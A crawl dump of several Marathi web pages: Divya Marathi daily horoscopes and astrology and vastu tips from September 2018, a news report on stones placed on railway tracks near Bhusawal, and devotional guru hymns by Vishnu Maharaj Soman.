आज तुम्ही घेऊ शकता....\n15 Sep 2018: काहीशी अशी राहील मिथुन राशीच्या लोकांसाठी लव्ह-लाइफ, जाणून घ्या तुमच्यासोबत आज काय चांगले घडू शकते\nमिथुन राशिफळ, 15 Sep 2018, Aajche Mithun Rashi Bhavishya: पॉझिटिव्ह -चंद्र तुमच्यासाठी चांगला राहील. कोर्ट प्रकरणात यश मिळण्याचे योग जुळून येत आहेत. कामाच्या ठिकाणी खास लोकांशी चर्च होईल. ठेवलेली कामे पूर्ण होऊ शकतात. अनोळखी लोकांच्या भेटी होण्याचे योग आहेत. नात्यांंमधील प्रेम वाढले. मनातील गोष्ट व्यक्त करण्यासाठी हा काळ चांगला आहे. पैशांच्या समस्येवर सहजपणे मार्ग सापडेल. पार्टटाइम काम मिळण्याचे योग आहेत. दैनंदिन कामांमध्ये मेहनत वाढवल्यास फायदा होऊ शकतो. निगेटिव्ह- आर्थिक स्थिती सुधरवण्यासाठी काही...\nकर्क राशिफळ, 15 Sep 2018: जाणून घ्या, तुमच्या राशीसाठी कशी राहील सूर्य-चंद्राची स्थिती\n15 Sep 2018, कर्क राशिफळ (Aajche Kark Rashi Bhavishya): पॉझिटिव्ह -आर्थिक फायदा होण्याचे योग आहेत. अचानक धन लाभ होऊ शकतो. नवीन जबाबदारी तुमच्यावर येऊ शकते. त्या तुम्ही योग्यप्रकारे सांभाळाल. मित्रांसोबत भावूक व्हाल. विचारात असलेली कामे पूर्ण करण्याचा प्रयत्न कराल. शिक्षण आणि राजकारणात यशस्वी व्हाल. कुटुंबाचे सहकार्य लाभेल आणि प्रगतीत येणा-या अडचणी दूर होतील. तुमच्या विचारात असलेल्या योजना पूर्ण होतील. निगेटिव्ह- आज तुम्हाला जास्त मेहनत करावी लागू शकते. काही लोकांच्या बोलण्यात येऊन तुम्ही पैसे अडकवू शकता....\nEngineers Day : या योगांवरून जाणून घ्या, तुम्हाला या क्षेत्रामध्ये यश मिळणार की नाही\nअभियंता म्हणजे जो आपल्या वैज्ञानिक दृष्टिकोन आणि अनुभवाच्या आधारे समस्येचे व्यावहारिक सोल्युशन सांगेल. सध्याच्या काळात अनेक तरुण इंजिनीयरिंगमध्ये करिअर करण्याचा प्रयत्न करतात परंतु यामध्ये प्रत्येकजण यशस्वी होतोच असे नाही. वास्तवामध्ये एखादा व्यक्ती या क्षेत्रामध्ये यशस्वी होणार की नाही हे जाणून घेण्यासाठी ज्योतिष शास्त्र आपली मदत करू शकते. आज 15 सप्टेंबर अभियांत्रिकी दिवसाच्या निमित्ताने आम्ही तुम्हाला कुंडलीतील अशा काही योगाची माहिती देत आहोत, ज्यावरून तुम्हाला या...\nनेहमी स्वतःच्याच पेनाने करावी स्वाक्षरी, भितींवर भेगा असल्यास भरून घ्याव्यात, अन्यथा घरात टिकत नाही पैसा\nज्या लोकांच्या कुंडलीत दोष असतात किंवा घरामध्ये वास्तुदोष असल्यास भाग्याची साथ मिळत नाही. पैशांची कमी कधीही दूर होत नाही. कुंडली आणि घरातील दोष दूर करण्यासाठी ज्योतिष आणि वास्तूमध्ये काही उपाय सांगण्यात आले आहेत. कोलकाताच्या एस्ट्रोलॉजर डॉ. दीक्षा राठी यांच्यानुसार जाणून घ्या, अशा काही गोष्टी ज्यामुळे तुमच्या घरातील सुख-समृद्धी वाढू शकते... 1. घराचा मुख्य दरवाजा पूर्व किंवा उत्तर दिशेला असणे शुभ राहते. जर तुमच्या घराचा दरवाजा या दिशेला नसल्यास मुख्य दरवाजावर सोने, चांदी, तांबे किंवा...\nपत्नी घरामध्ये हे 5 शुभ काम करत राहिल्यास पतीचे वाढत राहील सौभाग्य\nघरामध्ये सुख-समृद्धी कायम ठेवण्यासाठी प्राचीन काळापासून काही प्रथा चालत आल्या आहेत. या प्रथांचे पालन केल्यास घरामध्ये पैशांची आणि सुखाची कमतरता भासत नाही. सर्व सदस्यांना भाग्याची साथ मिळते. मान्यतेनुसार पती-पत्नीचे भाग्य एकमेकांशी जुळलेले असते. यामुळे पत्नीचे शुभ काम पतीचे दुर्भाग्य दूर करण्यासाठी मदत करतात. उज्जैनच्या इंद्रेश्वर महादेव मंदिराचे पुजारी आणि भागवत कथाकार पं. सुनील नागर यांच्यानुसार जाणून घ्या, पत्नीसाठी असे 5 काम, ज्यामुळे पतीचा भाग्योदय होऊ शकतो... घरामध्ये...\n23 सप्टेंबरपूर्वी करा राशीनुसार हे उपाय, होऊ शकतो तुमचा भाग्योदय\n13 सप्टेंबरपासून गणेश उत्सव सुरु झाला असून हा उत्सव 23 सप्टेंबरपर्यंत राहील. या 10 दिवसांमध्ये विविध उपय करून श्रीगणेशाला प्रसन्न केल्यास तुमच्या भाग्योदय होऊ शकतो. प्रत्येक अडचण दूर होऊ शकते. उज्जैनचे ज्योतिषाचार्य पं. मनीष शर्मा यांच्यानुसार श्रीगणेशाला प्रसन्न करण्यासाठी राशीनुसार काही खास उपाय केले जाऊ शकतात. येथे जाणून घ्या, कोणते आहेत हे उपाय... मेष - या राशीच्या लोकांनी गणपतीला ऊँ विघ्नराजाय नम: मंत्राचा जप करून रेशमी वस्त्र अर्पण करा. वैवाहिक जीवनामध्ये प्रेम आणि विश्वास वाढेल....\nआजचे राशिभविष्य : जाणून घ्या, तुमच्या राशीसाठी कसा राहील शनिवार\nToday Horoscope (Aajche Rashi Bhavishya, 15 Sep 2018): आज सूर्य-चंद्राची स्थिती काही लोकांसाठी शुभ राहील, तर काही लोक चिंताग्रस्त राहतील. या ग्रह आणि नक्षत्रामुळे आज काही लोकांना धनलाभ होऊ शकतो. ठरवलेली कामे पूर्ण होतील. आजच्या ग्रह-ताऱ्यांच्या प्रभावामुळे काही नोकरदार लोकांना वरिष्ठांची मदत मिळू शकते. याउलट काही लोकांचे टेन्शनही वाढू शकते. कामाच्या व्यापामुळे काही लोक स्वतःसाठी वेळ काढू शकणार नाहीत. अशाप्रकारे ग्रह-ताऱ्यांचा संमिश्र प्रभाव 12 राशींवर राहील. जाणून घ्या, काय लिहिले आहे आज तुमच्या राशीमध्ये, समजून घ्या...\n​मंत्र जपापुर्वी अवश्य करावा या 1 शब्दाचा उच्चार, अन्यथा मिळणार नाही फायदा\nवेगवेगळ्या धर्म ग्रंथांमध्ये ऊँ शब्दाचे महत्त्व सांगण्यात आले आहे. याचा उच्चार कसा करावा, केव्हा-केव्हा करावा इ. धर्म ग्रंथानुसार केवळ ऊँ शब्दाच्या उच्चाराने भगवान विष्णू, ब्रह्मा आणि महेश यांचे आवाहन होते. येथे जाणून घ्या, वेगवेगळ्या धर्म ग्रंथांमध्ये ऊँ संबंधित सांगण्यात आलेली खास माहिती...\nश्रीगणेशाच्या 12 प्रमुख नावांपैकी आहे एक खास, या 12 नावांच्या स्मरणाने दूर होते प्रत्येक संकट\nप्रथम पूज्य श्रीगणेशाची विविध नावे आहेत. यामधील 12 नावे अत्यंत खास मानली गेली आहेत. या 12 नावांचा नियमितपणे जप केल्यास व्यक्तीला कोणत्याही कामामध्ये अडचण निर्माण होत नाही. सर्व विघ्न दूर होतात. गणेश पुराणानुसार या 12 नावांमधील एक नाव कपिल आहे. हे नाव श्रीगणेशाच्या रंग आणि स्वभावामुळे आहे. कपिलचे दोन अर्थ होतात, एक म्हणजे भोळा आणि सरळ, दुसरा अर्थ बदामी रंगाचे. श्रीगणेशाचा रंग हाच मानण्यात आला असून महादेवाचे पुत्र असल्यामुळे यांचा स्वभावही भोलेनाथप्रमाण भोळा आहे. यामुळे गणपतीचे एक नाव कपिल...\n14 Sep 2018, मिथुन राशिफळ : जाणून घ्या, मिथुन राशीच्या लोकांसाठी कसा राहील आजचा दिवस\nमिथुन राशिफळ, 14 Sep 2018, Aajche Mithun Rashi Bhavishya: मिथुन राशीच्या लोकांना आपल्या वाणीच्या बळावर इतरांना प्रभावित करायला फार आवडते, तुमच्या या सवयीचा फायदा आज करून घेण्याचा प्रयत्न करा. परंतु विचारपूर्वक बोला अन्यथा नुकसान सहन करावे लागू शकते. आज तुम्ही लव्ह-लाइफ कशी राहील, नोकरी, बिझनेस आणि करिअर क्षेत्रामध्ये कसा राहील तुमचा दिवस. वाचा, सविस्तर दिव्य मराठीच्या या पेजवर.आज क्या अच्छा हो सकता है मिथुन राशि वालों के वालों के साथआज आपको अपनी अहमियत पता चल सकती है रोजमर्रा के काम समय से निपटाने की कोशिश करेंगे रोजमर्रा के काम समय से निपटाने की कोशिश करेंगे\n14 Sep 2018: आजच्या ग्रह-नक्षत्रावरून जाणून घ्या, सिंह राशीच्या लोकांसाठी कसा राहील दिवस\nआजचे सिंह राशिफळ (14 Sep 2018, Aajche Singh Rashi Bhavishya): सिंह राशीचे लोक उदार आणि मोठ्या मनाचे असल्यामुळे आज काही लोकांची मदत करतील. याचा फायदा तुम्हाला भविष्यात होईल. या व्यतिरिक्त आज राग आणि चिडचिड करण्यापासून दूर राहावे. अन्यथा नुकसान होऊ शकते. आज तुम्हाला कोणत्या गोष्टींमध्ये सावध राहण्याची आवश्यकता आहे. वाचा, सविस्तर दिव्य मराठीच्या या पेजवर.आज क्या अच्छा हो सकता है सिंह राशि वालों के वालों के साथपैसों के मामले में आपका काम नहीं रुकेगा अचानक धन लाभ हो सकता है अचानक धन लाभ हो सकता है लोगों के मन में क्या चल रहा है, यह आप समझ...\n14 Sep 2018: आजच्या ग्रह-नक्षत्रावरून जाणून घ्या, कन्या राशीच्या लोकांसाठी कसा राहील दिवस\nकन्या राशी, 14 Sep 2018, Aajche Kanya Rashi Bhavishya: कन्या राशीचे लोक छोट्यातील-छोटी गोष्ट लक्षात घेऊन काम पूर्ण करण्याचा प्रयत्न करतील. काही कामामध्ये तुम्ही आधीच हातपाय गाळून बसता. यामुळे आज असे काहीही न करता सावधपणे काम करावे. आरोग्य, कुटुंब, व्यवसाय आणि प्रेमासाठी कसा राहील तुमचा आजचा दिवस. वाचा, सविस्तर दिव्य मराठीच्या या पेजवर.आज क्या अच्छा हो सकता है कन्या राशि वालों के वालों के साथअचानक धन लाभ या किसी योजना से आपको बड़ा फायदा हो सकता है आपके ज्यादातर अधूरे काम भी पूरे हो सकते हैं आपके ज्यादातर अधूरे काम भी पूरे हो सकते हैं आज लिए गए फैसले लंबे समय तक...\nतूळ राशिफळ, 14 Sep 2018: आज काय चांगले घडू शकते तुमच्यासोबत आणि कोणत्या गोष्टींमध्ये राहावे सांभाळून\n14 Sep 2018, तूळ राशिफळ (Aajche Tula Rashi Bhavishya): तूळ राशीच्या लोकांनी आज कोणताही निर्णय घेण्यापूर्वी आपल्या संशयी स्वभावाला दूर ठेवावे. यासोबतच घेतलेल्या निर्णयावर ठाम राहण्याची आवश्यकता आहे. तुमच्या स्वभावाची खास गोष्ट संतुलित राहणे ही आहे. यामुळे आज तुमचे खास काम पूर्ण होऊ शकते. आज तुम्ही कोणते काम चांगल्याप्रकारे पूर्ण करू शकाल आणि कोणत्या कामामध्ये सांभाळून राहावे. वाचा, सविस्तर.आज क्या अच्छा हो सकता है तूळ राशि वालों के वालों के साथकिसी व्यक्ति के साथ आपके संबंधों में सुधार होने के योग हैं\nआजचे वृश्चिक राशिफळ, 14 Sep 2018: जाणून घ्या, तुमच्यासाठी कसा राहील आजचा दिवस\nआजचे वृश्चिक राशिफळ (14 Sep 2018, Aajche Vrishchik Rashi Bhavishya): वृश्चिक राशीच्या लोकांमध्ये काहीवेळा ईर्ष्या निर्माण होते. आज तुम्हाला यापासून दूर राहण्याचा प्रयत्न करावे लागेल. जाणून घ्या, तुमच्या राशीसाठी कशी राहील सूर्य-चंद्राची स्थिती, कोणत्या ग्रहाची मिळेल मदत आणि कोणत्या ग्रहांमुळे होऊ शकते नुकसान.आज क्या अच्छा हो सकता है वृश्चिक राशि वालों के वालों के साथकोई व्हीकल खरीदने का मूड बन सकता है आज आप ज्यादा ही संवेदनशील हो सकते हैं आज आप ज्यादा ही संवेदनशील हो सकते हैं बिजनेस और कार्यक्षेत्र से जुड़ी यात्राएं हो सकती हैं बिजनेस और कार्यक्षेत्र से जुड़ी यात्राएं हो सकती हैं पुरानी मेहनत का फल...\nधनु राशिफळ : 14 Sep 2018 ला तुमच्या राशीमध्ये धन लाभाचा योग आहे की नाही\nआजचे धनु राशिफळ (14 Sep 2018, Aajche Dhanu Rashi Bhavishya): धनु राशीचे लोक आज आपल्या बुद्धी आणि हसमुख स्वभावामुळे जवळपासचे वातावरण हलके-फुलके ठेवण्याचा प्रयत्न करतील. काही गोष्टींमध्ये आज तुम्हाला यश प्राप्त होऊ शकते तर काही गोष्टींमध्ये सांभाळून राहण्याची आवश्यक्ता आहे. सूर्य-चंद्राची तुमच्या राशीमध्ये कशी आहे स्थिती, वाचा, सविस्तर दिव्य मराठीच्या या पेजवर.आज क्या अच्छा हो सकता है धनु राशि वालों के वालों के साथकिसी काम को खुद लीड करेंगे तो आपके लिए अच्छा रहेगा कोई गोपनीय या रहस्यपूर्ण बात भी आज आपको पता चल...\nमकर राशी : 14 Sep 2018: जाणून घ्या, मकर राशीच्या लोकांसाठी कसा राहील आजचा दिवस\nमकर राशी, 14 Sep 2018 (Aajche Makar Rashi Bhavishya): मकर राशीच्या लोकांच्या डोक्यात आणि विचारात आज काही खास काम करण्याच्या गोष्टी चालतील. आज तुम्ही घाईगडबडीत कोणताही निर्णय घेण्यापासून दूर राहावे. यासोबतच तुमच्या संशयी स्वभावावरही आज नियंत्रण ठेवावे. याचा फायदाच तुम्हाला होईल. दिव्य मराठीच्या राशीफळनुसार जाणून घ्या, आजची ग्रहांची स्थिती तुमच्यासाठी अनुकूल आहे की नाही आणि तुमच्या नोकरी, बिझनेसवर ग्रह-ताऱ्यांचा कसा राहील प्रभाव.आज क्या अच्छा हो सकता है मकर राशि वालों के वालों के साथचंद्रमा की स्थिति आपकी राशि...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00139.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/REL-ADH-UTLT-infog-four-auspicious-rituals-which-please-god-5817020-PHO.html", "date_download": "2018-09-25T17:15:02Z", "digest": "sha1:EFE6NGOJYN3U34H34TEGKOP4YPBVIJFW", "length": 5594, "nlines": 157, "source_domain": "divyamarathi.bhaskar.com", "title": "4 Auspicious Rituals Which Please God | हे 4 काम करणाऱ्यांचे रक्षण करतात देवता, भोगाव्या लागत नाहीत नरक यातना", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nहे 4 काम करणाऱ्यांचे रक्षण करतात देवता, भोगाव्या लागत नाहीत नरक यातना\nश्रीमद्भगवतमध्ये स्वतः श्रीकृष्णाने सुखी जीवनासाठी काही उपदेश केले आहेत. यामध्ये सांगितलेल्या एका श्लोकानुसार\nश्रीमद्भगवतमध्ये स्वतः श्रीकृष्णाने सुखी जीवनासाठी काही उपदेश केले आहेत. यामध्ये सांगितलेल्या एका श्लोकानुसार, जो मनुष्य हे 4 सोपे काम नियमितपणे करतो त्याला निश्चित स्वर्ग प्राप्त होतो. मनुष्याने कळत-नकळत केलेले पाप कर्म माफ होतात आणि त्याला नरकात जावे लागत नाही. यामुळे प्रत्येकाने ही 4 कामे अवश्य करावीत.\nदानेन तपसा चैव सत्येन च दमेन च\nये धर्ममनुवर्तन्ते ते नराः स्वर्गामिनः\nइतर 3 कामे जाणून घेण्यासाठी पुढील स्लाईड्सवर क्लिक करा...\nचुकीच्या वेळेला झोपणे आणि नेहमी क्रोध करणे, ज्या लोकांमध्ये असतात हे 6 दोष, ते कधी सुखी राहू शकत नाहीत\n4 कारण : ज्यामुळे उडू शकते कोणाचीही झोप\nशिकवण : बादली दाेन्हीकडून रिकामी, यामध्ये दडला आहे आयुष्याचा सार\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00139.warc.wet.gz", "language": "mr", "language_score": 0.71, "bucket": "all"} {"url": "https://lokmat.news18.com/news/bhusawal-railway-pilot-saved-by-hundreds-passengers-305238.html", "date_download": "2018-09-25T17:09:04Z", "digest": "sha1:SWDYBIG6QLAQEB7ZSN2RWZM2F56AR2G2", "length": 14910, "nlines": 130, "source_domain": "lokmat.news18.com", "title": "रेल्वे पायलटमुळे टळला मोठा अपघात,वाचवला शेकडो प्रवाशांचा जीव", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nरेल्वे पायलटमुळे टळला मोठा अपघात,वाचवला शेकडो प्रवाशांचा जीव\nदुपारी २.४६ वाजता डाऊन लाईनवरील खांब क्रमांक ४५४/२८ ते ३० दरम्यान एक मोठा दगड आणि सिमेंटची गोणी रेल्वे रुळांवर ठेवल्याचे दिसलं.\nइम्तियाझ अहमद,भुसावळ, 14 सप्टेंबर : घातपात घडवण्याच्या उद्देशाने माथेफिरुंनी वरणगाव स्थानकापासून भुसावळकडे येताना चार किलोमीटर अंतरावर अप आणि डाऊन या दोन्ही रेल्वे मार्गावर मोठे दगड आणि दगडगोट्यांनी भरलेल्या सिमेंटच्या गोण्या ठेवल्या होत्या. दुपारी तीनच्या सुमारास भुसावळ-वर्धा पॅसेंजरच्या चालकाच्या लक्षात हा प्रकार येताच त्यांनी प्रसंगावधान राखून ब्रेक दाबल्याने तब्बल १२०० प्रवाशांवरील विघ्न टळलं.\nभुसावळ ते वर्धा ही पॅसेंजर (गाडी क्रमांक ५११९७) नेहमीप्रमाणे दुपारी भुसावळ स्थानकावरून सुटली. जी.एस.सहाना लोको पायलट, तर राहुल पाटील सहायक लोको पायलट होते. प्रवासादरम्यान वरणगाव स्थानक ४ किलोमीटर अंतरावर असताना चालक सहाना यांना गुरुवारी दुपारी २.४६ वाजता डाऊन लाईनवरील खांब क्रमांक ४५४/२८ ते ३० दरम्यान एक मोठा दगड आणि सिमेंटची गोणी रेल्वे रुळांवर ठेवल्याचे दिसलं. यामुळे त्यांनी गाडीचा ९५ किमी प्रतीतास वेगातील गाडीचे इमर्जन्सी ब्रेक दाबले.\nतरीही गाडीचे इंजिन रुळावर ठेवलेल्या दगडाला धडकल्याने त्याचे कॅटल गार्ड तुटले. इमर्जन्सी ब्रेक दाबल्याने गाडी थांबली. मात्र, तिचा प्रेशर पाइप फुटला. यानंतर सहाना यांनी पॅसेंजरचे गार्ड अविनाश वागळे यांना पुढे बोलावून अप-डाऊन लाईनवरील गिट्टीने भरलेल्या गोण्या बाजूला फेकल्या.\nवरणगावचे सहायक स्टेशन मास्तर सुबोध कुमार यांना माहिती दिली. यानंतर निरीक्षक नवीन कुमार, मुख्य लोको निरीक्षक एम.जे.रावत घटनास्थळी आलं. त्यांना अप खांब क्रमांक ४५४/२९ ते ४५५/२ दरम्यान रूळावर दोन गोण्या आढळल्या.\nया गोण्या कुणी आणि का ठेवल्या याचा लोहमार्ग पोलीस तपास करत आहे.\nVIDEO : सुसाट रेल्वेखाली थरारक स्टंट \nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: भुसावळभुसावळ-वर्धा पॅसेंजरवरण गाव\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00139.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.transliteral.org/pages/z170310004131/view", "date_download": "2018-09-25T17:24:20Z", "digest": "sha1:X73WJYFQOCQ56EDMYXHQMLBI53HOSSPD", "length": 21173, "nlines": 271, "source_domain": "www.transliteral.org", "title": "विष्णु महाराज सोमण यांचीं पदें", "raw_content": "\n आणि श्राद्धाचे चार भेद कोणते आहेत \nमराठी मुख्य सूची|मराठी साहित्य|अभंग संग्रह आणि पदे|बांदकरमहाराजांची पदे|\nविष्णु महाराज सोमण यांचीं पदें\nलघु आत्ममथन प्रारंभः, मंगलाचरण\nविष्णु महाराज सोमण यांचीं पदें\nश्री संत लक्षणें पदें\nश्री लक्ष्मी नृसिंहाचीं पदें\nश्री लक्ष्मी नारायणाचीं पदें\nश्री पूर्णप्रज्ञतीर्थ स्वामीचें पद\nश्री पद्मनाभतीर्थ स्वामीचीं पदें\nश्री इंदिराकांततीर्थ स्वामीचीं पदें\nश्रीबांदकर महाराजांचे स्वतःबद्दलचे उद्गार\nश्री जगन्नाथ बोवा बोरीकर\n‘ पतीतपावनराम ’ श्लोकाष्टक\n‘ जानकीजीवनराम ’ मंत्रार्याष्टक\n‘ राजीवनयनराम ’ श्लोकाष्टक\n‘ आनंदघनराम ’ मंत्रार्या\nविष्णु महाराज सोमण यांचीं पदें\nश्रीसद्गुरु कृष्ण जगन्नाथ भट्ट बांदकरमहाराज.\nविष्णु महाराज सोमण यांचीं पदें\nश्रीसद्गुरु विष्णु महाराज सोमण यांचीं पदें.\nपद १ लें -\nवैष्णव सद्गुरु जनक जगीं मज, सद्विद्या ते आयी रे \nध्यान मिषें तनु भान, अखिल अभिमान, नुरे ज्या ठायीरे ॥वै०॥धृ०॥\nजाउनि दृढ धरिं पाय, उणें मग काय, तुला जगीं पाहीं रे ॥वै०॥१॥\nनाम हृदयिं जप, काय अन्य तप, तरसिल याचि उपायीं रे ॥वै०॥२॥\nतो मी ब्रह्म अशा अभ्यासें दृश्य नुरे बा कांहीं रे ॥वै०॥३॥\nसाधन या रिति, करितां विस्मृति, सांडुनि स्वरुपीं राही रे ॥वै०॥४॥\nकृष्ण जगन्नाथात्मज याचें साधन आणिक नाहीं रे ॥वै०॥५॥\nपद २ रें -\nनमन वैष्णव सद्गुरु राजा ॥धृ०॥\nस्वरुपीं जगनग कनकावरि, निश्चय हा माझा ॥नम०॥१॥\nपदकमलाहुनि विषय न रुचती, चित्तभ्रम राज्या ॥नम०॥२॥\nजगन्नाथ सुत कृष्ण ह्मणे मज, निजानंद पाजा ॥नम०॥३॥\nपद ३ रें -\nभेटले मज वैष्णव सद्गुरुराज ॥धृ०॥\nमाया मृगजल भ्रांति उडाली चढतां चिन्मय पाज ॥भे०॥१॥\nजग धोंडाळुनि पाहत असतां मागुनि केला गाज ॥भे०॥२॥\nएकांति एकांतिं पाहतां पाहतां अवचित मिळले आज ॥भे०॥३॥\nकृष्ण जगन्नाथात्मज नाचे सांडुनि लौकिक लाज ॥भे०॥४॥\nपद ४ थें -\nगुरुंचा विसरुं कसा ऊपकार ॥धृ०॥\n हरिला हा जड भार ॥गु०॥१॥\nकोण मी याचा विचार पाहतां चरणीं दिधला थार ॥गु०॥२॥\n वैष्णव सद्गुरुंचा आधार ॥गु०॥३॥\nपद ५ वें -\nसद्गुरु मजला घडी घडि निजपद आठव द्यावा ॥धृ०॥\nसाक्षित्वें मी चालत असतां, हळु हळु स्वस्वरुपांत रिघावा ॥स०॥१॥\nतनु मन धन संबंध नसो मज, स्वपद भजनि दृढ नित्य असावा ॥स०॥२॥\nकृष्ण जगन्नाथात्मज विनवी, हितकर गुरुवर हृदयिं वसावा ॥स०॥३॥\nपद ६ वें -\nतारक गुरु मजला गुरु मजला तसाचि होइल तुजला ॥ता०॥धृ०॥\n सच्चित्सुखमय श्रीगुरु राजा ॥ता०॥१॥\n शास्त्रीं निगमागमिं जें मथिलें ॥ता०॥२॥\nहृदयिं प्रगट गुरु झाले माझे त्रिविध ताप वीझाले ॥ता०॥३॥\n विष्णू कृष्ण जगन्नाथाचा ॥ता०॥४॥\nपद ७ वें -\nगुरु मज प्रिय वाटे प्रिय वाटे जरि अज्ञ जना दुर वाटे ॥गु०॥धृ०॥\n पाळुनि गाइन श्रीगुरु महिमा ॥गु०॥१॥\n हृदयीं सच्चित्सुखमय फळला ॥गु०॥३॥\n दिसतो संसाराचा सारा ॥गु०॥४॥\n विष्णू कृष्ण जगन्नाथाचें ॥गु०॥५॥\nपद ८ वें -\n विसरवि सकळ विषय वमनातें ॥धृ०॥\nआद्य पुरातन जें नवनूतन, हर्षद भक्त जनातें ॥वि०॥१॥\nचुकवि पुनर्भव दुःखद हा भव, धरितां जें निज नातें ॥वि०॥२॥\nबाह्याभ्यंतरिं सुविचारें करिं, अखंड गुरु भजनांतें ॥वि०॥३॥\nविष्णू कृष्ण जगन्नाथ जया मानितसे निज नातें ॥वि०॥४॥\nपद ९ वें -\nगुरुपदिं प्रेम धरा रे प्रेम धरा अनुचित तें तुह्मि न करा ॥धृ०॥\nगुरुविण देव न दुसरा समुजुनि सर्व मनांतिल विसरा ॥गु०॥१॥\n आपण चंद्र दिसे ती शाखा ॥गु०॥२॥\nगुरुचा शब्द न खोटा अनुभव सूक्ष्म विचारें घोंटा ॥गु०॥३॥\n शाश्वत स्वरुपीं निजमति पसरा ॥गु०॥४॥\n विष्णू कृष्ण जगन्नाथाला ॥गु०॥५॥\nपद १० वें -\nगुरुपद संभाळा रे संभाळा सांडुनि दृष्य उन्हाळा ॥धृ०॥\n गुरुच्या वचनें मन हें जोडा ॥गु०॥१॥\n पेवा गुरुपरमामृत धारा ॥गु०॥२॥\n न शिवुनि गुरुपदींच धरा थारा ॥गु०॥३॥\n साधा चित्सुख गुरुच्या द्वारा ॥गु०॥४॥\n विष्णू कृष्ण जगन्नाथाला ॥गु०॥५॥\nपद ११ वें -\nगुरुवर तारक हा साचा माझा निश्चय हा मनिंचा ॥धृ०॥\nन कळुनि कोणी कांहीं ह्मणतो स्वभाव 